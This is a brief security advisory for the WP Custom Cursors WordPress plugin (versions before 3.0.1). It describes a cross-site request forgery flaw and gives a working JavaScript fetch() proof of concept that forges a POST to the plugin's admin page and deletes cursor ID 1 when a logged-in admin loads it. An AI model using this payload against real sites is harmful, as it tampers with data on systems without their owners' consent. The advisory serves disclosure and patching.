WP Custom Cursors < 3.0.1 - Arbitrary Cursor Deletion via CSRF

Proof of Concept

Make a logged in admin open a page with the following JS code:

fetch('https://example.com/wp-admin/admin.php?page=wp_custom_cursors', { 
method: 'POST', 
headers: new Headers({ 
'Content-Type': 'application/x-www-form-urlencoded', 
}), 
body: 'submit&delete_row=1' 
}).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

This will make them delete the cursor with ID 1